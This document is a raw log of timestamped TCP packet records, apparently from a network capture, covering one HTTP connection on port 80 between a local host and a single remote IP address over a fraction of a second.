Dec 17, 2024 10:09:06.163137913 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.163878918 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.163981915 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.163989067 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.164033890 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.164855003 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.164935112 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.165047884 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.197572947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.197742939 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.197902918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.197902918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.198059082 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.198110104 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.198167086 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.198240042 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.199059010 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.199166059 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.199300051 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.200020075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.200133085 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.200314045 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.201016903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.201102018 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.201147079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.201905966 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.202065945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.202191114 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.202197075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.202321053 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.203360081 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.203403950 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.203422070 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.203525066 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.203927040 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.204035997 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.204145908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.204899073 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.204948902 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.205022097 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.205085039 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.205882072 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.205929995 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.206018925 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.206273079 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.265315056 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.265381098 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.265407085 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.265636921 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.265698910 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.265821934 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.265954971 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.265954971 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.266717911 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.266916037 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.266937017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.266972065 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.267666101 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.267744064 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.267796993 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.268090010 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.268621922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.268717051 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.268764019 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.268837929 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.269588947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.269678116 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.269696951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.269738913 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.270564079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.270670891 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.270690918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.270721912 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.271545887 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.271620035 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.271647930 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.271821976 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.272542953 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.272624016 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.272649050 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.272881031 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.273502111 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.273588896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.273610115 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.273643017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.274454117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.274576902 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.274597883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.274882078 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.275458097 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.275580883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.275583982 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.275646925 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.276468039 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.276587009 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.276607990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.276796103 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.277414083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.277499914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.277549982 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.277676105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.284924030 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.284948111 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.284959078 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.284998894 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.284998894 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.285042048 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.285053968 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.285064936 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.285099030 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.285121918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.332257032 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.332274914 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.332349062 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.332473040 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.332613945 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.332707882 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.332772017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.332801104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.333035946 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.333765984 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.333889008 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.333916903 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.333961964 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.334765911 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.334788084 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.334955931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.334955931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.335652113 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.335736990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.335747957 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.336369991 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.336594105 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.336704969 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.336736917 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.337071896 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.337618113 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.337692976 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.337702036 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.337740898 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.338598967 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.338691950 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.338701963 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.338747025 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.339560986 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.339612961 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.339716911 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.339785099 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.341296911 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.341372013 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.341393948 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.341453075 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.341790915 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.341862917 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.341881990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.341916084 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.342583895 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.342662096 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.342668056 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.342813969 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.343461037 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.343532085 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.343545914 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.343646049 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.344435930 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.344594002 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.344999075 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.345141888 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.345395088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.345499039 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.345664978 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.345664978 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.346498013 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.346596956 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.346643925 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.346997976 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.347403049 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.347420931 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.347460032 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.347460032 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.348331928 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.348386049 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.348393917 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.348459005 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.349364042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.349436045 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.349560976 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.349607944 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.350280046 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.350404978 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.350493908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.351263046 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.351310968 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.351355076 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.351391077 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.352225065 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.352344036 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.352436066 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.352436066 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.353240967 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.353322029 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.353332996 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.354176998 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.354217052 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.354252100 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.355206013 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.355287075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.355307102 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.355307102 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.356256962 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.356367111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.356381893 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.357060909 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.357116938 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.389733076 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.389760017 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.389919996 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.389919996 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.390114069 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.390202999 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.390235901 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.390288115 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.391136885 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.391211987 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.391343117 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.391343117 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.392038107 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.392129898 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.392139912 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.392201900 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.393030882 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.393094063 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.393131018 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.393264055 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.394028902 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.394109011 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.394139051 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.394283056 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.394989967 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.395083904 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.395153046 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.395328999 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.396065950 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.396172047 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.396172047 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.396209002 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.397058964 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.397134066 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.397155046 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.397183895 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.397964001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.398003101 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.398026943 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.398169041 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.457170963 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.457212925 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.457259893 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.457259893 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.457561016 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.457623959 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.457740068 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.457786083 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.458589077 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.458678007 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.458781958 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.458853006 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.459713936 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.459794998 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.459827900 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.459923983 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.460529089 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.460586071 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.460664034 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.460890055 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.461487055 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.461591959 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.461622953 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.461673021 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.462485075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.462546110 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.462553024 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.462619066 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.463572979 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.463601112 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.463665009 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.463665009 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.464540958 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.464660883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.464709044 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.464709044 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.465423107 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.465513945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.465533018 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.465580940 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.466341972 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.466403008 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.466418028 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.466509104 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.467348099 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.467488050 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.467526913 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.467583895 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.468367100 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.468411922 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.468417883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.468492985 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.469257116 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.469325066 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.469364882 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.469423056 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.470319033 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.470341921 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.470381021 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.470421076 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.471271038 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.471347094 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.471380949 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.471420050 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.472332001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.472352982 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.472408056 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.472408056 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.524101019 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.524180889 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.524245024 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.524283886 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.524517059 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.524636984 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.524682999 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.524682999 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.525523901 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.525583982 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.525614023 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.526278019 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.526530981 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.526631117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.526644945 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.526686907 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.527467012 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.527575970 CET	49812	80	192.168.2.6	185.215.113.206
